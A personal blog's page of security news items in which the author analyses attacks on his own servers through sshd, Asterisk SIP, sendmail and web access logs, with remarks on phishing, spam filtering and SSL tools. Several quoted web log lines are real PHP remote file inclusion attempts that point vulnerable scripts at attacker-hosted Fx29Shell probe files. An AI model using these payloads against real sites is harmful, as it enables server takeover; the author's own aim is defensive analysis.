News items for tag security - Koos van den Hout

Interesting patterns in the security logs again:

Aug 10 00:19:42 greenblatt sshd[22045]: Bad protocol version identification '\200b\001\003\001' from 207.70.60.20
Aug 10 00:19:43 greenblatt sshd[22071]: Bad protocol version identification '\200b\001\003\001' from 209.19.175.124
Aug 10 00:19:44 greenblatt sshd[22072]: Bad protocol version identification '\200b\001\003\001' from 207.70.47.249
Aug 10 00:19:45 greenblatt sshd[22073]: Bad protocol version identification '\200b\001\003\001' from 207.70.41.212
Aug 10 00:19:45 greenblatt sshd[22074]: Bad protocol version identification '\200b\001\003\001' from 207.70.39.65
Aug 10 00:19:46 greenblatt sshd[22075]: Bad protocol version identification '\200b\001\003\001' from 69.5.238.171
Aug 10 00:19:47 greenblatt sshd[22076]: Bad protocol version identification '\200b\001\003\001' from 206.206.50.92
Aug 10 00:19:48 greenblatt sshd[22078]: Bad protocol version identification '\200b\001\003\001' from 207.70.3.141

Notice the timing. Makes me wonder what is going on.
Update: On twitter by @xs4cso:

Major rise in SSH brute force attacks and complaints overnight. Weak passwords to blame.

source
Update: Whois gives an interesting link between most of those IPs: they are all (but one) in network space owned by solution pro web hosting.

Messages from the Barracuda E-mail filter are quite useless. When you request information about a specific IP being blocked you get the very, very generic story:

We are sorry you have reached this page because an email was blocked based on its originating IP address having a "poor" reputation. The "poor" reputation may have been caused by one of the following reasons:

• Your email server contains a virus and has been sending out spam.
• Your email server may be misconfigured.
• Your PC may be infected with a virus or botnet software program.
• Someone in your organization may have a PC infected with a virus or botnet program.
• You may be utilizing a dynamic IP address which was previously utilized by a known spammer.
• Your marketing department may be sending out bulk emails that do not comply with the CAN-SPAM Act.
• You may have an insecure wireless network which is allowing unknown users to use your network to send spam.
• In some rare cases, your recipient's Barracuda Spam Firewall may be misconfigured.

Which is completely useless when you need information what is causing this listing and whether the spam flow is already stopped. I'm not gambling on trying the 'request removal' link until I know what is causing this.

Barracuda mail filtering: NOT helping solve the spam problem. With some Evil Greedy Corporation conspiracy thinking: really helping stop spam would be bad for business in the long run for Barracuda.

I guess some kind of bug in the sipscanner at 193.55.30.2 got triggered by my firewalling the IP so asterisk does not 'see' the traffic. The incoming traffic is now up to 70 kilobyte/second. It is all ignored, but that is still a fair chunk of incoming bandwidth being eaten.
Update 2010-05-24 I let asterisk answer the requests for a few packets which slowed down the incoming traffic again to something reasonable. And this morning the traffic was gone which suggests somebody read my report to the security contact.

Just got in and noticed that the adsl link was particularly s-l-o-w. A tcpdump showed that there was a SIP brute-force attack going on, and with the wondershaper settings this was filling the ADSL upstream to the maximum. In the asterisk logs:

[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"607589258"<sip:607589258@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"2737039014"<sip:2737039014@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"hello"<sip:hello@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"ranger"<sip:ranger@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"shadow"<sip:shadow@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"baseball"<sip:baseball@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"donald"<sip:donald@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"harley"<sip:harley@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"hockey"<sip:hockey@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 14:49:08] NOTICE[11238] chan_sip.c: Registration from '"letmein"<sip:letmein@82.95.196.202>' failed for '193.55.30.2' - No matching peer found

[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found
[May 22 17:46:24] NOTICE[11238] chan_sip.c: Registration from '"active" <sip:active@82.95.196.202>' failed for '193.55.30.2' - No matching peer found

For a total of 284970 attempts. Then I updated the firewall to block this. And send out an abuse report to the ISP.

With tshark the attacks look like:

Session Initiation Protocol
    Request-Line: REGISTER sip:82.95.196.202 SIP/2.0
        Method: REGISTER
        [Resent Packet: False]
    Message Header
        Via: SIP/2.0/UDP 127.0.0.1:5091;branch=z9hG4bK-1064873464;rport
            Transport: UDP
            Sent-by Address: 127.0.0.1
            Sent-by port: 5091
            Branch: z9hG4bK-1064873464
            RPort: rport
        Content-Length: 0
        From: "instruct" <sip:instruct@82.95.196.202>
            SIP Display info: "instruct" 
            SIP from address: sip:instruct@82.95.196.202
        Accept: application/sdp
        User-Agent: friendly-scanner
        To: "instruct" <sip:instruct@82.95.196.202>
            SIP Display info: "instruct" 
            SIP to address: sip:instruct@82.95.196.202
        Contact: sip:123@1.1.1.1
            Contact Binding: sip:123@1.1.1.1
                URI: sip:123@1.1.1.1\r
                    SIP contact address: sip:123@1.1.1.1\r
        CSeq: 1 REGISTER
            Sequence Number: 1
            Method: REGISTER
        Call-ID: 3859238695
        Max-Forwards: 70

Glenn Fleishman (wireless network expert) has taken the time to completely read and analyze the class-action suit against google for collecting public data from wi-fi networks and tears it to pieces:

You're broadcasting data in an unlicensed band. You have no reasonable expectation of privacy over openly broadcast data.

In my opinion google should not have collected this data. It still sounds like installing kismet and forgetting to configure it completely. Google should wipe this data immediately. Not hand it over to any law enforcement because law enforcement should not have this data either, it should be wiped thoroughly. But starting a stupid lawsuit with falsehoods and lies like:

9. In 2006, Google generated programming code that sampled and decoded all categories of publicly broadcast WiFi data. This type or class of program is commonly called a packet analyzer, also known as a network analyzer, protocol analyzer or packet sniffer, or for particular types of networks, an Ethernet sniffer or wireless sniffer ("wireless sniffer"). As data streams flow across the wireless network, the sniffer secretly captures each packet (or discreet package) of information, then decrypts / decodes and analyzes its content according to the appropriate specifications.

10. To view data secretly captured by a wireless sniffer in readable or viewable form, after being captured and stored on digital media, it must then be decoded using crypto-analysis or similar programming or technology. Because the data "as captured" by the wireless sniffer is typically not readable by the public absent sophisticated decoding or processing, it is reasonably considered and understood to be private, protected information by users and operators of home- based WiFi systems.

I get worked up just having to point out the lies and false acquisations in this part. I really hope this suit by Vicki van Valin and Neil Mertz backfires on them.

Running kismet from a wardriver-CD will yield you the same data unless kismet was configured (not the default!) to not save that data. So the above statements are false.

Webmail account phishers sometimes write interesting works of fiction:

We are currently performing maintenance on our Digital webmail Server because it has come to our notice that one or more of our internet subscribers are introducing a very severe virus into our system, thereby hacking into our esteemed customers private data, and this is affecting our network performance by all standards, as well as causing our customers like you so much complications.

.. and after this bit of bad news about the provider their systems seem to be so damaged by the virus they need to ask for the domain name:

In order to ensure you do not experience service interruption, kindly you reply to this email immediately and enter your Domain Name: for example, mail.icb.com.

.. please don't respond to these. Please.

Amusing log entries:

May 11 09:17:01 greenblatt sshd[17063]: Invalid user !@#$%^ from 82.228.181.124
May 11 09:17:03 greenblatt sshd[17076]: Invalid user !@#$%^& from 82.228.181.124
May 11 09:17:04 greenblatt sshd[17088]: Invalid user !@#$%^&* from 82.228.181.124
May 11 09:17:05 greenblatt sshd[17090]: Invalid user !@#$% from 82.228.181.124
May 11 09:17:07 greenblatt sshd[17092]: Invalid user @#$%^& from 82.228.181.124

Quit @#$%^& breaking into my system.

IP version 6 has grown up: I just noticed the first ipv6 firewall log entries which I did not cause with my own testing:

SRC=2002:915e:bf90:000d:f9c9:eab8:7632:0f6d DST=2001:0888:1011:0000:0000:0000:0000:0694 LEN=72 TC=0 HOPLIMIT=120 FLOWLBL=0 PROTO=TCP SPT=49494 DPT=445 WINDOW=8192 RES=0x00 SYN URGP=0

A 6to4 IPv6 address trying something stupid with windows filesharing. IPv6 has grown up!

Lots of SIP attacks lately (stuff which goes on even when I'm more interested in IPv6). First near-standard SIP registration attacks from Amazon EC2, also seen by one of my asterisk installs:

[Apr 10 16:40:30] NOTICE[6890] chan_sip.c: Registration from '"02"<sip:02@xxx.xxx.xxx.xxx>' failed for '184.73.12.46' - No matching peer found
[Apr 10 16:40:30] NOTICE[6890] chan_sip.c: Registration from '"03"<sip:03@xxx.xxx.xxx.xxx>' failed for '184.73.12.46' - No matching peer found

My system wasn't the only one attacked, I saw reports everywhere, including: Amazon EC2 SIP Brute Force Attacks on Rise - VoIP Tech Chat , Amazon EC2 Flood Attacks from the Cloud - VoIP Users Conference, SIP Attacks From Amazon EC2 Going Unaddressed - SlashDot IT and SIP Brute Force Attack Originating From Amazon EC2 Hosts - Stuart Sheldon.
I changed /etc/asterisk/sip.conf to include alwaysauthreject = yes which makes SIP account enumeration impossible: the attacker can't see the difference between 'account does not exist' or 'password not valid'. This violates the SIP rfc but makes attacks a lot harder.
A lot of the articles above give one answer: Amazon EC2 network abuse does not care. Which immediately degrades the 'standing' of their network. You don't care about attacks originating from your network means lots of people won't care about anything originating from your network.

The SMTP auth attack was still going on this morning so I decided to play a bit with the sendmail access config:

SRV_Features:92.241.190.15 A

This disables offering AUTH to the specific attacking IP. The result was interesting in SMTP sessions:

220 kzdoos.xs4all.nl ESMTP Sendmail 8.14.2/8.14.2/Debian-2build1; Tue, 6 Apr 2010 08:25:06 +0200; (No UCE/UBE) logging access from: [92.241.190.15](FAIL)-[92.241.190.15]
9_@@
EHLO hbwgxr.com
250-kzdoos.xs4all.nl Hello [92.241.190.15], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-STARTTLS
250-DELIVERBY
250 HELP
RSET
250 2.0.0 Reset state
RSET
250 2.0.0 Reset state
RSET
250 2.0.0 Reset state
RSET
250 2.0.0 Reset state
RSET
250 2.0.0 Reset state
RSET
250 2.0.0 Reset state

The attacking script leaves out the authentication attempts and just goes on doing nothing. After a short while the attack from 92.241.190.15 stopped.

Interesting (for me) new type of account guessing attack: trying smtp accounts. I saw the following in the maillogs:

Apr  5 22:33:59 greenblatt sm-mta[19364]: o35KXpPO019364: [92.241.190.15]: possible SMTP attack: command=AUTH, count=7
Apr  5 22:34:08 greenblatt sm-mta[19082]: o35KVkYF019082: [92.241.190.15] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA-v6

I was wondering what was happening on smtp level and used tcpdump to find out:

220 kzdoos.xs4all.nl ESMTP Sendmail 8.14.2/8.14.2/Debian-2build1; Mon, 5 Apr 2010 20:47:05 +0200; (No UCE/UBE) logging access from: [92.241.190.15](FAIL)-[92.241.190.15]
EHLO jtrmuwev.com
250-kzdoos.xs4all.nl Hello [92.241.190.15], pleased to meet you
250-ENHANCEDSTATUSCODES
250-PIPELINING
250-EXPN
250-VERB
250-8BITMIME
250-SIZE
250-DSN
250-ETRN
250-AUTH DIGEST-MD5 CRAM-MD5
250-STARTTLS
250-DELIVERBY
250 HELP
AUTH CRAM-MD5
334 PDI3MjU0Mjc5OC4xMjIwMjEwMkBremRvb3MueHM0YWxsLm5sPg==
MTExIDk5ODY0YTY5YWI3ODIxMmI3YzgxMjhkOGFmNWM4MjUw
535 5.7.0 authentication failed
535 5.7.0 authentication failed
RSET
250 2.0.0 Reset state
AUTH CRAM-MD5
334 PDEyODQ3MDgxMTYuMTIyMDIxMDNAa3pkb29zLnhzNGFsbC5ubD4=
MTExIDU2YmU3OGYwMGE1MTA5ZmI4OWZmMDFhOGRmMDdjMTBh
535 5.7.0 authentication failed
535 5.7.0 authentication failed
RSET
250 2.0.0 Reset state
AUTH CRAM-MD5
334 PDE4OTQxOTc2MS4xMjIwMjEwNEBremRvb3MueHM0YWxsLm5sPg==
MTExIDE4YmEyYWY2M2MyYjA2Y2Q4OWUxMDE4Y2E2NjY3MmM1
535 5.7.0 authentication failed

The base64 encoded bits decode to:

<272542798.12202102@kzdoos.xs4all.nl>
111 99864a69ab78212b7c8128d8af5c8250

<1284708116.12202103@kzdoos.xs4all.nl>
111 56be78f00a5109fb89ff01a8df07c10a

<189419761.12202104@kzdoos.xs4all.nl>
111 18ba2af63c2b06cd89e1018ca66672c5

Which is normal challenge-response for CRAM-MD5 authentication. So my best guess is either trying to find valid accounts for other attacks in a way which does not hit a rate limiter (yet) which would mean a targeted attack or just a way to find an account for relaying spam.

Writing about security on your website has this interesting effect in the logs:

200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:41 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"

The content of heheh.txt is predictable:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

By pure coincidence there is a file http://zerozon.co.kr/data/eeng/id1.txt with the contents:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

And that all looks very familiar: Fx29Shell php attack. This won't keep me from writing about security or amusing myself by browsing the logfiles. Maybe I'll find a fresh attack. This automated one is getting really boring.

Lots of phishing attempts for webmail accounts flying by, at the moment it seems popular to use webform hosters to ask for account credentials. I seem to miss a part of these. Probably my spamfilters being too good or something. But at work there are some people who know I am interested in new and recurring strains of Internet abuse so I still get interesting stuff forwarded to investigate. The latest catch advertised a dot.tk domain which inlined a webform from a tripod hosted site which was a copy of an emailmeform.com form and used emailmeform.com to process it and redirected to a generic thankyou form by a new zealand printer supplies company. It takes a bit of tracing and trying to solve such a puzzle and notify all parties about their role in the abuse.

By now a lot of people in the world are aware of the case of a US, Pennsylvania school was accused of using webcams in school-issued laptops to spy on students at home without their consent (via Slashdot). A lot of theories and weird stories are going around but I found a good technical explanation: The Spy at Harrington High - Stryde Hax who as a bystander and with his technical background has done a thorough analysis of the techniques used and the stance of the people involved in this matter. Good reading material for those who are actually interested in what was really happening.
The original story seems to be turning into this 'Only in America' story: School spying scandal gets even more bizarre - Slashdot:

The student in question that was disciplined for an "improper act" was apparently accused of either drug use or drug selling. Turns out he was eating Mike & Ike candy, not popping pills.

If you want to detect LANRev Agent on a system, Network Fingerprint for LANRev Agent - Stryde Hax has the answer.

SIP scanning is active again. Sandro Gauci came with a link to And the scanning just keeps on coming I checked the logs on 2 asterisk servers for recent break-in attempts and presto... from different IPs, but the pattern I saw before in trying to find insecure SIP servers:

[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"3776548202"<sip:3776548202@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"100"<sip:100@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"101"<sip:101@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"102"<sip:102@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found


[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"952"<sip:952@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"953"<sip:953@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"954"<sip:954@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found

No damage and no costs. The other server shows attempts to use the sip guest environment again:

[Feb 13 05:27:08] NOTICE[5710] chan_sip.c: Call from '' to extension '90442075821233' rejected because extension not found.
[Feb 13 05:27:27] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:27:38] NOTICE[5710] chan_sip.c: Call from '' to extension '0442076311117' rejected because extension not found.
[Feb 13 05:27:40] NOTICE[5710] chan_sip.c: Call from '' to extension '0011447850019298' rejected because extension not found.
[Feb 13 05:27:42] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:27:44] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.
[Feb 13 05:27:56] NOTICE[5710] chan_sip.c: Call from '' to extension '0000447956581268' rejected because extension not found.
[Feb 13 05:27:57] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '900442075964032' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '9011441252625280' rejected because extension not found.
[Feb 13 05:28:09] NOTICE[5710] chan_sip.c: Call from '' to extension '1442074370973' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '00000447889904142' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.

This time with somewhat random looking phone numbers in the UK which aren't well-known to google.

My very own security incident involving China (in a way):

[Jan 28 09:55:45] NOTICE[7593] chan_sip.c: Call from '' to extension '00442078420960' rejected because extension not found.

An attempt (within the public sip context) to call a number in England. The Chinese embassy in London. All attempts failed since the asterisk which logged that has no idea how to call the big phone network. Information from a lecture on SIP security suggests that this kind of attempts is a sort of ddos attack on a phone number.

After finding shortcomings in the verification by openssl s_client I tried the gnutls command-line client gnutls-cli. The upside of gnutls-cli is that it does use IPv6 when available. But.. gnutls-cli decides not to trust a server when using the same certificate set as used in testing openssl s_client.

~$ gnutls-cli --x509cafile /etc/ssl/certs/ca-certificates.crt -p imaps imaps.cs.uu.nl
..
*** Verifying server certificate failed...

versus

:~$ openssl s_client -verify 10 -CAfile /etc/ssl/certs/ca-certificates.crt -connect imaps.cs.uu.nl:imaps
..
    Verify return code: 0 (ok)

Weird. I would not be completely surprised when my own root CA had issues in very strict utilities but the chain used for the work servers is very well tested.

I like my SSL verification tools paranoid, and it seems openssl s_client -verify isn't paranoid enough. The man page reports:

BUGS

       The -verify option should really exit if the server verification
       fails.

I'd like added "the hostname in the certificate is not verified". I ran a little test server to test for the right way to configure the SSL certificates in openldap server and noticed I got the verification to work even when I was connecting to the wrong name.

I realized there is one piece of software running on my server which has a small chance of having a known leak because it is a widely used package: Serendipity powers the hcc!pc gg netwerkgroep website and I hadn't upgraded it recently. A very small chance, since security is a very important part of the Serendipity design. Since upgrading phpBB for Camp Wireless was always a royal pain in the behind I sort of postponed this process. But after the serious search for any security flaw in my website I searched on the Serendipity site for an explanation of the upgrade process. And the answer: upgrading Serendipity is very, very easy. More PHP applications should be this easy to upgrade.
Update: A frequent reader notes that I had a bit of a strong opinion: lots of PHP software is easy to upgrade, phpBB is/was just a problem because the templating system is too integrated in the source.

Somebody in Denmark thought something in this webserver would run some default and vulnerable software and tried to find a hole:

$ grep -c 90.185.249.111 ~httpd/idefix/logs/access_log
4208

All tries to display http://www.spotmerkezi.com/cache/id1.txt which is a bit of PHP source:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

Which will display ShiroHige as one word when run through the php processor.

All urls are attempts where it is assumed some vulnerable script is behind some visible part of the site such as the root, or my homepage, or some part of my homepage. Samples:

GET //?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//libraries/pcl/pcltar.php?g_pcltar_lib_dir=%20http://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//templates/be2004-2/index.php?mosConfig_absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//modules/mod_weather.php?absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??

A bit of research finds that the next bit of code to execute would try to get info on the php setup (os, rights, free disk space). The third bit is running an entire bot with a few backdoors. I tried to find where the backdoor would connect to but that is all dynamic, only when the third script is loaded via the vulnerability a number of variables are set with the IP and port to connect to.

Like any good bot, it also notifies its maker in a hidden away part of its source, which would look like:

To: feelcomz@gmail.com
Subject: Fx29Shell http://server.name/vulnerable.url by 10.2.1.1

Boss, there was an injected target on http://server.name/vulnerable.url by 10.2.1.1

Searching on the term Fx29Shell gives a scary answer: Results 1 - 10 of about 221,000 for Fx29Shell. a lot of those still showing webservers where this script is active.

But all my home-made webstuff is not in the habit of executing remote php scripts. But given the load of sites hosted on 90.185.249.111 it's probably a script running on that server which got hacked from a third place.